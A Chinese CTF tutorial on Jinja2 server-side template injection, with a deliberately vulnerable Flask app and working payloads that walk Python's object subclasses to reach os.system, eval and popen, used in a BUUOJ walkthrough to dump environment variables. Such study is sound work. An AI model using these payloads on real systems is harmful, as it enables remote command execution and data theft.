CTF中SSTI漏洞的简单利用
前言
前段时间参加比赛的时候,碰到了一个jinja模版注入的题目,于是想着借这个机会好好总结一下模版注入的知识于是便有了这篇文章。
SSTI注入简介
什么是SSTI注入
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或getshell的目的,目前CTF常见的SSTI题中,大部分考察的都是python的jinja2模版引擎
造成的原因与利用条件
网站由数据与模版框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模版可以给人不同的视觉感受,但是当模版存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。
造成的危害
可造成文件读取,命令执行等
SSTI注入的利用姿势
利用思路概述
- 1. 随意找一个内置类对象利用
__class__
拿到该对象所对应的类型 - 2. 用
__bases__
或__mro__
拿到基类<class 'object'>
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
().__class__.__mro__[-1].__subclasses__()
request.__class__.__mro__[1]
- 1. 用
__subclasses__()
获取所有子类 - 2. 在子类中寻找可以合适的继承链执行命令或读取文件
利用姿势详解
在Python的ssti中,大部分都是依靠基类->子类->危险函数的方式来利用ssti,首先补充一下基础知识,方便我们后续的使用
__class__
:用于返回该对象所属的类,如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
__bases__
:以元组的形式返回一个类所直接继承的类。--base__
:以字符串返回一个类所直接继承的类__mro__
:返回解析方法调用的顺序__subclassws__()
:获取类的所有子类__init__
:所有自带类都包含init方法,便于利用他当跳板来调用globals__globals__
:function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。讲了这么多我们无非只有两个目的:
- • 执行命令
- • 获取文件内容
所以所有的一切都是要往这两个点上靠拢,接下来我们用一个例子来进行讲解
示例代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
defindex():
return'<h1>不在这里,我的朋友</h1>'
@app.route('/flag/')
defflag():
code = request.args.get('id')
html = '''
hello, do you have id ? , %s
''' % code
return render_template_string(html)
if __name__ == '__main__':
app.run(host='0.0.0.0' , port='5000')
当访问
/flag/
时,会从get传递的参数中获取id
的值并且拼接进行模板进行渲染id={{1}}
此时传入的是1,响应返回的也是1,我们把参数换为
{{2*2}}
看看会有什么变化id={{2*2}}
id={{config}}
针对我们的命令没有进行过滤,尝试一下xss
id=<script>alert("hello")</script>
''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__
在模版注入中我们最经常需要用到的是warnings.catch_warning,所以遇到flask模板注入时,只要去寻找warning.catch_warning即可
通常是59
request.__class__.__base__.__subclasses__()[59]
继续找
linecache
request.__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()
运行个命令
request.__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
到此为止我们就可以肆意妄为的进行命令执行了
接下来让我们用几个题来进行演示
CTF实战
BUUOJ-[FLask]SSTI
看到题目,没有给任何提示,先用Arjun(https://github.com/s0md3v/Arjun/archive/refs/tags/1.6.zip)进行一波扫描,看我们的可控参数
python3 arjun.py -u http://node4.buuoj.cn:29645/
可以看到我们可以利用的参数是name
直接用
{{2*2}}
进行测试返回结果是4证明存在模版注入,按照我们前面说的步骤来
- 1. 构造基本类
name={{''.__class__.__base__}}
- 1. 寻找
warnings.catch_warning
name={{''.__class__.__base__.__subclasses__()[166]}}
name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__.keys()}}
没有找到我们想要的
linecache
,但是有builtins
,我们可以利用它执行eval或者open用eval执行个whoami试试
name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('w hoami').read()")}}
成功执行
然后翻找了半天也没找到flag,最后在环境变量中找到的,也是很艰辛了
最终payload:
?name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
往期推荐
E
N
D
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......
最新评论
推荐文章
作者最新文章
你可能感兴趣的文章
Copyright Disclaimer: The copyright of contents (including texts, images, videos and audios) posted above belong to the User who shared or the third-party website which the User shared from. If you found your copyright have been infringed, please send a DMCA takedown notice to [email protected]. For more detail of the source, please click on the button "Read Original Post" below. For other communications, please send to [email protected].
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。